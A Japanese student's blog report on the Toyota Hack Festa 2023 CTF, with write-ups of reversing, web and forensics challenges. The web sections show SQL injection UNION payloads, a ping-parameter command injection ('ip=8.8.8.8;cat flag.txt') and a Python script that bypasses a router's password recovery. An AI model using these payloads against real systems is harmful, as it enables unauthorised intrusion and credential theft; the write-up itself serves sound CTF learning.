Hack Festa 2023に参加しました!

Hack Festa 2023に参加しました!

2023年11月11日

はじめに

研究室のつながりで先輩としんちゃん(@shinchankosen)の3人で2023年10月28日と29日に開催されたトヨタ自動車主催のCTFイベント「Hack Festa 2023」に参加しました。

日米合同の開催で、結果は全体2位国内1位でした。

簡単な自己紹介

  • 大阪大学 情報科学研究科 M1
  • 研究ではハードウェア寄りのセキュリティを触ってます
  • CTFは過去にWaniCTF 2023等に参加しました(w/しんちゃん)、常設だとpicoCTFをちょこちょこ触ってます

Hack Festaとは

トヨタ自動車株式会社、Toyota Motor North America, Inc.、Toyota Tsusho Systems US, Inc.が共同で企画・開催しているCTFイベントで、PASTAとRAMNという自動車向けのセキュリティテストベッドを利用し、ハードウェア内部に隠されているFlagを様々な手段で探します。今年は去年開催されたHack Festa 2022に続き、2回目の開催となりました。

↓去年開催されたHack Festa 2022のレポートです。

/
www.toyota-tokyo.tech

writeup

折角なのでPASTAとRAMNについて書きたかったのですが、解き方をメモしておらず(先輩とひたすら闇雲に試していたので)、ハードウェアも現状手元に無いため再現できず書けませんでした…。ということで、ハードウェアとは関係ない、いつものCTF問題(以下「Server問題」と呼ぶ)のwriteupを共有します。

Server問題もトヨタの人曰く「ガチ勢が作った(意訳)」とのことだったので、手応えのある問題ばかりでした。

Reversing

Ghidraを使ったり使わなかったりしてアプリケーションの動作や情報を解析するやつ。簡単な方だけ解いて後ろの方はしんちゃんに全投げしてました。

しんちゃんのwriteup:

普段とは違った話をします。研究室からHack Festa 2023というトヨタ主催のCTFに参加してきました。日米で開催され、国内1位総合2位となりました! 自…
shinchankosen.hatenadiary.jp

backpanel

実行ファイルをGhidraに投げてmain関数を見ると以下のようになった。

undefined8 main(void)

{
  size_t sVar1;
  ulong uVar2;
  char local_38 [24];
  int local_20;
  int local_1c;
  
  printf("BACKPANEL DEBUG CODE: ");
  fgets(local_38,0x14,stdin);
  local_1c = 0;
  for (local_20 = 0; uVar2 = (ulong)local_20, sVar1 = strlen(local_38), uVar2 < sVar1;
      local_20 = local_20 + 1) {
    local_1c = local_1c + local_38[local_20];
  }
  if ((local_1c == 0x7e7) && (sVar1 = strlen(local_38), sVar1 == 0x13)) {
    printf("VROOM VROOM :) %s",local_38);
    return 0;
  }
  printf("BANG BANG :( %s",local_38);
  return 0;
}

文字列の長さが0x13(=19)かつ、文字を文字コードで表した時の合計が0x7e7(=2023)になる文字列がFlagになります参考: ASCIIコード表 (nit.ac.jp)

末尾の改行を考慮するかしないかで一悶着ありましたが、忘れてしまいました…。

easydebug

実行ファイルをGhidraに投げてmain関数を見ると以下のようになった。

undefined8 main(void)

{
  undefined uVar1;
  long in_FS_OFFSET;
  int local_44;
  int local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined2 local_18;
  undefined local_16;
  undefined local_15;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38 = 0x764901000200746d;
  local_30 = 0x6001777575677001;
  local_28 = 0x7a666d7e7e067a61;
  local_20 = 0x2766d6b06656d01;
  local_18 = 0x7c65;
  local_16 = 0x4f;
  local_15 = 0;
  for (local_44 = 0; local_44 < 0x11; local_44 = local_44 + 1) {
    uVar1 = *(undefined *)((long)&local_38 + (long)local_44);
    *(undefined *)((long)&local_38 + (long)local_44) =
         *(undefined *)((long)&local_38 + (long)(0x11 - local_44));
    *(undefined *)((long)&local_38 + (long)(0x11 - local_44)) = uVar1;
  }
  for (local_40 = 0; local_40 < 0x23; local_40 = local_40 + 1) {
    *(byte *)((long)&local_38 + (long)local_40) = *(byte *)((long)&local_38 + (long)local_40) ^ 0x32
    ;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

local_38 ~ local_16内の数値に対して1つ目のforでswap、2つ目のforでXORをかけているみたい。

Pythonで動作を再現してみた。リトルエンディアンなので反転処理を忘れずに。

b = [
    [0x76, 0x49, 0x01, 0x00, 0x02, 0x00, 0x74, 0x6d],
    [0x60, 0x01, 0x77, 0x75, 0x75, 0x67, 0x70, 0x01],
    [0x7a, 0x66, 0x6d, 0x7e, 0x7e, 0x06, 0x7a, 0x61],
    [0x02, 0x76, 0x6d, 0x6b, 0x06, 0x65, 0x6d, 0x01],
    [0x7c, 0x65],
    [0x4f],
]

c = []

for bb in b:
    c.extend(reversed(bb))

for i in range(0x11):
    uv1 = c[i]
    c[i] = c[0x11 - i]
    c[0x11 - i] = uv1

for i in range(0x23):
    c[i] = c[i] ^ 0x32

for cc in c:
    print(chr(cc), end='')
$ python ./solve.py
HF2023{D3BUGGE3RS_4LL_TH3_W4Y_D0WN}

Web

Unionvilleが一番点低いのに一番時間かかった。

Unionville

サイトにアクセスすると、車の一覧が表示される。精巧すぎて最初分からなかったけどAIで車が描かれているみたい(最上段真ん中の車のナンバープレートが分かりやすい)。どうやらここに表示されている車以外にも秘密の車が隠れているらしい…。

車をクリックすると個々の個別ページに飛び、このとき、/car.php?id={数字}という形になっていることが分かる。

適当な数字を入れると、マッチする場合はその車が表示され、しない場合はトップページにリダイレクトされた。数字以外を入れると以下のようなエラーが出た。どうやら車のデータをSQLで引っ張ってるみたい。

Query failed: SQLSTATE[HY000]: General error: 1 no such column: aaa
Warning: Undefined variable $cars in /app/car.php on line 23

Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /app/car.php:23 Stack trace: #0 {main} thrown in /app/car.php on line 23

というわけで、SQLといえばSQLインジェクションなので試してみた。

/car.php?id=1%20OR%201=1とするとすべての車が表示された。しかし、トップページに表示されている車と変化なし…。

別のテーブルに格納されていると考えて探してみた。CTFのWebセキュリティにおけるSQL Injectionまとめ (hamayanhamayan.com)を参考に色々なクエリを投げてバックエンドがSQLiteであることを特定。

テーブル情報を抜き出してみた。データの要素数が合わずに苦労したが最終的にunionを使って/car.php?id=1%20union%20SELECT%201,%20sql,%202,%203,%204%20FROM%20sqlite_master;で通った。

flagというそれっぽい名前のテーブルがあるので、これのdescriptionを覗きたい。

こちらも先ほどと同様unionで要素数を合わせた。/car.php?id=1%20union%20select%201,%201,%201,%20id,%20description%20from%20flag;としてFlagを入手できた。

carware

firmware.lrzが添付されている。解凍するとfirmwareというファイルが出てくる。ext4ファイルシステムのデータなのでマウントしてみる。

$ file firmware
firmware: Linux rev 1.0 ext4 filesystem data, UUID=8370be7b-df40-4370-b5e4-2e320daf1144 (needs journal recovery) (extents) (64bit) (large files) (huge files)

$ sudo mount ./firmware ./ppp/

login.phpを見るとユーザー名が”admin”、config.phpを見るとパスワードが”t3rr4_rul3z!”でログインできそう。実際にログインフォームに投げてみるとログイン成功。

サイト上では「System Status」でシステムの状態、「System Tools」で8.8.8.8にpingを投げていることが分かる。

ザーッとソースを見てみるとtools.phpの以下の部分を見ると”;”で区切って後ろにコマンドを入れ込めそうなことに気付く。

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $ip = $_POST['ip'];
    $cmd = "ping -c 1 $ip";
    $resp = shell_exec($cmd);
}

BurpSuiteを使って色々リクエストを試してみる。以下の画像のように「Proxy」→「Intercept」でInterceptをONにしてリクエストを堰き止めてから”ip=”以降をいじれば良い。いじったあとに「Forward」を押せば変更後のリクエストがWebサーバーへと送信される。

“ip=8.8.8.8;ls”とすると、pingの結果の下にlsの実行結果が付いてくる。

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=2.86 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.859/2.859/2.859/0.000 ms
config.php
file.tt
flag.txt
img
inc
index.php
login.php
memo.txt
session.php
status.php
tools.php

flag.txtにFlagが書かれていそうなので”ip=8.8.8.8;cat flag.txt”とする。

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=2.92 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.918/2.918/2.918/0.000 ms
HF2023{TheSauce}

premium

アウトランみたいなゲームで遊べる。オリジナルはonaluf/RacerJS (github.com)らしい。

制限速度を守らなかったり遅かったりすると怒られてしまう。

「速すぎ!」って怒られてる
「リクエスト過剰に来たから計算無理!」って怒られてる

先ほどと同様の手段でBurpSuiteを使ってみると定期的に速度を含んだリクエストをサーバーに送信していることが分かる。

Interceptで止めたリクエストは「Drop」で捨てることもできるため、10個程度のリクエストを制限速度を守った値に書き換えた上で送信し、後の通信は全て捨てれば良い。終了時のに発生するリクエスト以降は間違えて捨てないように。

Interceptで止まった時点でゲーム側の操作が効かなくなるけど勝手に砂漠を走って100%まで達成してくれます。

“speed”を変更すれば良い

Forensics

manuals以外の3問は自分しか解けてませんでした。(`・∀・´)エッヘン!!

manuals

問題にpcapファイルが添付されている。80MB弱ある大きなファイルだが、stringsコマンドでサクッとFlagを抽出できた。

$ strings manuals.pcap | grep HF2023
<< /N 2328 0 R >> /Border [ 0 0 0 ] /Contents (HF2023{DONT_SLEEP_ON_THE_FTP})
/AP << /N 2335 0 R >> /Contents (HF2023{DONT_SLEEP_ON_THE_FTP}) /T (Kevin Chung)

Car Designs

車が描かれた画像ファイルが添付されている。

Concept_Designs.png

とりあえず「青い空を見上げればいつもそこに白い猫」に通してみる。

「ステガノグラフィー解析」機能でRGB各色のビット0を抽出してみると上の方が白黒と切り替わっており、何か隠れていそうなことが分かる。

「ビット抽出」機能で各色のビット0をテキスト化してみる。色情報の取得順序をRGB→BGRにすると”exif.txt”や”flag.txt”などのファイル名がテキストとして表示され、複数のファイルを隠していることが分かる。

青空白猫でビット抽出

「バイナリデータ保存」でバイナリデータとして保存する。binwalkで中身を取り出してみるとFlagを入手できた。

$ binwalk -e CarDesign.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
8             0x8             Zip archive data, at least v2.0 to extract, compressed size: 71, uncompressed size: 103, name: creator.txt
120           0x78            Zip archive data, at least v2.0 to extract, compressed size: 597, uncompressed size: 1698, name: exif.txt
755           0x2F3           Zip archive data, at least v2.0 to extract, compressed size: 49, uncompressed size: 51, name: flag.txt
1115          0x45B           End of Zip archive, footer length: 22

$ cat _CarDesign.bin.extracted/flag.txt
HF2023{WH47_C4M3_F1R57_7H3_57360_0R_7H3_W473RM4RK}

Hack Festa Secure Router

hack_festa_secure_router.bin.tar.gzというファイルが添付されている。Squashfs filesystemのイメージファイルらしい。

$ tar -xvf hack_festa_secure_router.bin.tar.gz 
hack_festa_secure_router.bin

$ file hack_festa_secure_router.bin
hack_festa_secure_router.bin: Squashfs filesystem, little endian, version 4.0, xz compressed, 334454674 bytes, 33034 inodes, blocksize: 131072 bytes, created: Tue Oct 17 06:21:58 2023

マウントしてみる。

$ sudo mount -t squashfs hack_festa_secure_router.bin ./sq

/var/www/にサイトを構成するPerlプログラムが格納されている。ファイル内に直接ログイン情報は書かれていなかった。

“HFU_*”というファイルが3つあるが、これは「/HFU_serial_forgot_passwordでシリアル入力」→「/HFU_check_serialでシリアルが合っているか確認」→「/HFU_recover_credentialsでログイン情報表示」という流れになっている。しかし、シリアルが分からないのでこの手順でもログイン情報を得られない。

HFU_recover_credentials.plを見るとシリアルの正否に関わらず正しいタイムスタンプさえ送ればログイン情報を表示できるっぽい。また、HFU_serial_forgot_password.plではサーバー側のタイムスタンプをHTML出力しているためタイムスタンプを得ることができる。

...
if ($FORM{id} ne $timestamp){
    print "<html>";
    print "<head>";
    print "<title>Hack Festa Secure Router</title>";
    print "</head>";
    print "<body>";
    print "<center><p>Sorry, your timestamp nonce has expired</p></center>";
    print "</body>";
    print "</html>";
    exit 0;
}

print "<html>";
print "<head>";
print "<title>Hack Festa Secure Router</title>";
print "</head>";
print "<body>";
print "<p>Password recovered</p>";
print "<p>$username</p>";
print "<p>$password</p>";
print "</body>";
print "</html>";
...
$timestamp = strftime("%j%m%H%M%Y", localtime);

print "Content-type:text/html\r\n\r\n";
print "<html>";
print "<head>";
print "<title>Hack Festa Secure Router</title>";
print "</head>";
print "<body>";
print "<form method='POST' action='HFU_check_serial.pl?id=$timestamp'>";
...

つまり、「/HFU_serial_forgot_passwordにGETリクエストを投げてBodyからタイムスタンプ入手」→「/HFU_recover_credentialsにタイムスタンプを添えてGETリクエストを投げる」でログイン情報が得られる。Pythonでサクッとプログラムを作って実行する。

import requests

r = requests.get("https://hackfesta2023-hack-festa-secure-router.chals.io/HFU_serial_forgot_password.pl")

t1 = r.text.split("id=")[1].split("'")[0]
print(t1)

rr = requests.get(f"https://hackfesta2023-hack-festa-secure-router.chals.io/HFU_recover_credentials.pl?id={t1}")
print(rr.text)
$ python hfsecure.py 
3141113402023
<html><head><title>Hack Festa Secure Router</title></head><body><p>Password recovered</p><p>admin</p><p>How-Interrupt-Water-6</p></body></html>

username: “admin”とpassword: “How-Interrupt-Water-6″を入れてログインするとFlagが表示される。

Authenticated

HF2023{AND_ALL_I_GOT_WAS_THIS_SILLY_CVE}

Uncharted

pcapファイルが添付されている。Wiresharkで中身を見ると172.26.212.12から172.26.208.1にUDPでデータが送られているだけである。また、各パケットの先頭7バイトが「24 47 50 47 47 41 2C」で固定されていることが分かる。

「分析」→「追跡」→「UDPストリーム」でデータを全部まとめてみる。パケットが多いので結構時間がかかる。終わった後、「…として保存」を押してそのまま保存する。

データを文字にしてみる。以下のようなPythonスクリプトを書いた。

with open("a") as f:
    all = f.read()

spliter = "2447504747412c"

all_splited = all.split(spliter)

sss = ""
spp = ""

for i in range(0, len(spliter), 2):
    spp += chr(int(spliter[i:i + 2], 16))

for aa in all_splited:
    if aa == "":
        continue

    ss = ""

    for i in range(0, len(aa), 2):
        ss += chr(int(aa[i:i + 2], 16))

    with open("gps_data.txt", "a") as f:
        f.write(spp + ss + "\n")
$ python gps_decode.py

テキストファイルの中身を見るとcsvであることが分かる。

$GPGGA,044628,-77.4355715,N,-64.732721,E,01,09,4.2,896.8,M,-13.8,M,,*5D
$GPGGA,125449,50.318318,N,20.425939,E,00,08,3.4,761.3,M,-24.1,M,,*6D
$GPGGA,204513,-75.1806505,N,-20.016228,E,00,03,0.5,938.9,M,44.3,M,,*7C
$GPGGA,113356,78.799931,N,-8.874197,E,00,00,1.6,866.3,M,37.0,M,,*5A
$GPGGA,103628,-61.188207,N,79.074477,E,00,08,2.8,910.6,M,34.0,M,,*61
...

先頭が”$GPGGA”で始まるのはNMEAセンテンスというGPSのデータ形式らしい(参考: 技術情報 – その他情報 – 【ALES】位置補正情報生成/ 配信サービス (ales-corp.co.jp))。

ここから何をすれば良いかかなり悩んだが、問題文の「不正なデータがあるかも」的な文章を思い出しデータ末尾のチェックサムを確認することに。

NMEAのチェックサムはチェックサム以外の’$’と’,’を除いた文字全てでXORを取っているらしい(参考: NMEA checksum – 帰りたい (misatowater.com))。

チェックサムが合わないデータだけを抽出するプログラムを作成する。

with open("gps_data.txt") as f:
    all = f.readlines()

sss = ""

for a in all:
    chkk = 0

    aa, chksum = a[1:].replace(",", "").split("*")

    for c in aa:
        chkk ^= ord(c)

    if chkk != int(chksum, 16):
        print(f"Error in {aa}.\n{chkk} != {chksum}")

        sss += a

print(sss)
$ python gpschk.py
Error in GPGGA05463177.1860645N-71.250141E00072.1972.5M-8.9M.
71 != 48

Error in GPGGA0501521.659219N-119.458109E02034.7683.5M26.0M.
106 != 46

Error in GPGGA084432-35.2090715N131.762027E00044.2841.0M13.8M.
105 != 32

Error in GPGGA154340-7.455822N-59.099163E02071.6239.0M32.6M.
122 != 30

Error in GPGGA18261967.4723175N-166.493615E01004.6379.6M12.2M.
111 != 32

Error in GPGGA11462873.569422N26.137241E02120.8424.5M20.8M.
67 != 33

Error in GPGGA00421877.1560235N-72.678381E02021.7223.9M-32.3M.
114 != 7B

Error in GPGGA230721-49.3046675N42.125137E02043.5801.0M21.7M.
91 != 4E

Error in GPGGA055942-7.1997455N19.792617E02053.3870.1M-26.0M.
64 != 34

Error in GPGGA16575073.1349535N1.270883E01073.5561.1M14.6M.
76 != 54

Error in GPGGA164416-38.6844045N41.790954E01071.2198.6M12.9M.
80 != 48

Error in GPGGA0911349.3506285N-169.787791E01044.8884.3M33.9M.
88 != 34

Error in GPGGA003602-67.0071195N65.282273E02031.7151.1M-24.7M.
113 != 4E

Error in GPGGA0424512.075047N80.351088E00052.9116.4M-28.8M.
90 != 5F

Error in GPGGA065423-45.617699N-89.924983E02021.5259.0M-23.8M.
96 != 44

Error in GPGGA041554-60.5702845N175.643332E00010.9725.6M11.6M.
104 != 52

Error in GPGGA12033651.0560395N99.969483E01001.6356.0M-36.5M.
92 != 34

Error in GPGGA20183855.089345N-119.709549E01034.8143.9M31.0M.
81 != 4B

Error in GPGGA090802-5.5313795N71.100091E01101.1274.4M2.1M.
94 != 33

Error in GPGGA08114440.0080605N-174.178970E01034.1640.1M12.2M.
110 != 5F

Error in GPGGA2309471.4191125N158.501933E02085.0857.3M34.5M.
119 != 57

Error in GPGGA004742-47.285575N-25.918222E01013.3194.4M38.1M.
74 != 30

Error in GPGGA211113-71.3598645N-104.587149E01064.7363.1M-47.5M.
111 != 55

Error in GPGGA012306-1.108923N124.581499E02074.0973.8M28.7M.
110 != 4C

Error in GPGGA09061384.974675N8.492430E01004.9340.5M37.2M.
116 != 44

Error in GPGGA114502-81.1572985N-11.776263E02031.366.4M-40.3M.
96 != 5F

Error in GPGGA035633-26.389095N-157.825646E01000.7777.9M-33.9M.
93 != 42

Error in GPGGA162307-15.139468N-85.456224E00104.0462.6M-6.7M.
86 != 33

Error in GPGGA201119-12.3539135N166.754965E01032.9558.5M-22.8M.
64 != 5F

Error in GPGGA00280173.9006335N21.433758E00081.6936.2M34.9M.
116 != 50

Error in GPGGA10312283.3491115N-140.456586E00094.3849.8M32.8M.
111 != 52

Error in GPGGA214218-61.102813N-137.802862E01123.4824.9M-4.0M.
105 != 30

Error in GPGGA16191260.127726N-19.508470E02072.7811.8M42.6M.
101 != 55

Error in GPGGA19245575.571013N79.026908E00033.3123.4M40.7M.
65 != 44

Error in GPGGA081836-23.6888585N49.541865E00041.245.5M-41.3M.
67 != 7D

$GPGGA,054631,77.1860645,N,-71.250141,E,00,07,2.1,972.5,M,-8.9,M,,*48
$GPGGA,050152,1.659219,N,-119.458109,E,02,03,4.7,683.5,M,26.0,M,,*46
$GPGGA,084432,-35.2090715,N,131.762027,E,00,04,4.2,841.0,M,13.8,M,,*32
$GPGGA,154340,-7.455822,N,-59.099163,E,02,07,1.6,239.0,M,32.6,M,,*30
$GPGGA,182619,67.4723175,N,-166.493615,E,01,00,4.6,379.6,M,12.2,M,,*32
$GPGGA,114628,73.569422,N,26.137241,E,02,12,0.8,424.5,M,20.8,M,,*33
$GPGGA,004218,77.1560235,N,-72.678381,E,02,02,1.7,223.9,M,-32.3,M,,*7B
$GPGGA,230721,-49.3046675,N,42.125137,E,02,04,3.5,801.0,M,21.7,M,,*4E
$GPGGA,055942,-7.1997455,N,19.792617,E,02,05,3.3,870.1,M,-26.0,M,,*34
$GPGGA,165750,73.1349535,N,1.270883,E,01,07,3.5,561.1,M,14.6,M,,*54
$GPGGA,164416,-38.6844045,N,41.790954,E,01,07,1.2,198.6,M,12.9,M,,*48
$GPGGA,091134,9.3506285,N,-169.787791,E,01,04,4.8,884.3,M,33.9,M,,*34
$GPGGA,003602,-67.0071195,N,65.282273,E,02,03,1.7,151.1,M,-24.7,M,,*4E
$GPGGA,042451,2.075047,N,80.351088,E,00,05,2.9,116.4,M,-28.8,M,,*5F
$GPGGA,065423,-45.617699,N,-89.924983,E,02,02,1.5,259.0,M,-23.8,M,,*44
$GPGGA,041554,-60.5702845,N,175.643332,E,00,01,0.9,725.6,M,11.6,M,,*52
$GPGGA,120336,51.0560395,N,99.969483,E,01,00,1.6,356.0,M,-36.5,M,,*34
$GPGGA,201838,55.089345,N,-119.709549,E,01,03,4.8,143.9,M,31.0,M,,*4B
$GPGGA,090802,-5.5313795,N,71.100091,E,01,10,1.1,274.4,M,2.1,M,,*33
$GPGGA,081144,40.0080605,N,-174.178970,E,01,03,4.1,640.1,M,12.2,M,,*5F
$GPGGA,230947,1.4191125,N,158.501933,E,02,08,5.0,857.3,M,34.5,M,,*57
$GPGGA,004742,-47.285575,N,-25.918222,E,01,01,3.3,194.4,M,38.1,M,,*30
$GPGGA,211113,-71.3598645,N,-104.587149,E,01,06,4.7,363.1,M,-47.5,M,,*55
$GPGGA,012306,-1.108923,N,124.581499,E,02,07,4.0,973.8,M,28.7,M,,*4C
$GPGGA,090613,84.974675,N,8.492430,E,01,00,4.9,340.5,M,37.2,M,,*44
$GPGGA,114502,-81.1572985,N,-11.776263,E,02,03,1.3,66.4,M,-40.3,M,,*5F
$GPGGA,035633,-26.389095,N,-157.825646,E,01,00,0.7,777.9,M,-33.9,M,,*42
$GPGGA,162307,-15.139468,N,-85.456224,E,00,10,4.0,462.6,M,-6.7,M,,*33
$GPGGA,201119,-12.3539135,N,166.754965,E,01,03,2.9,558.5,M,-22.8,M,,*5F
$GPGGA,002801,73.9006335,N,21.433758,E,00,08,1.6,936.2,M,34.9,M,,*50
$GPGGA,103122,83.3491115,N,-140.456586,E,00,09,4.3,849.8,M,32.8,M,,*52
$GPGGA,214218,-61.102813,N,-137.802862,E,01,12,3.4,824.9,M,-4.0,M,,*30
$GPGGA,161912,60.127726,N,-19.508470,E,02,07,2.7,811.8,M,42.6,M,,*55
$GPGGA,192455,75.571013,N,79.026908,E,00,03,3.3,123.4,M,40.7,M,,*44
$GPGGA,081836,-23.6888585,N,49.541865,E,00,04,1.2,45.5,M,-41.3,M,,*7D

データ部分をテキストファイルとして保存する。

不正データのチェックサム部分にFlagがあると考え、抽出・デコードしてみる。

with open("gps_flag.txt") as f:
    all = f.readlines()

flag = ""

for a in all:
    flag += chr(int(a[-3:-1], 16))

print(flag)
$ python gps_bad.py
HF2023{N4TH4N_DR4K3_W0ULD_B3_PR0UD}

正直これ解けたの天才では?

おわりに

ハードウェアを使ったCTFは初めてで非常に貴重な経験となりました。全体で30時間程度のイベントでしたが、1週間くらいかけてゆっくりPASTAとRAMNの気持ちになって取り組んでみたかったなという気持ちもあります。

同じ研究室の方々は興味があれば来年是非参加してみてください。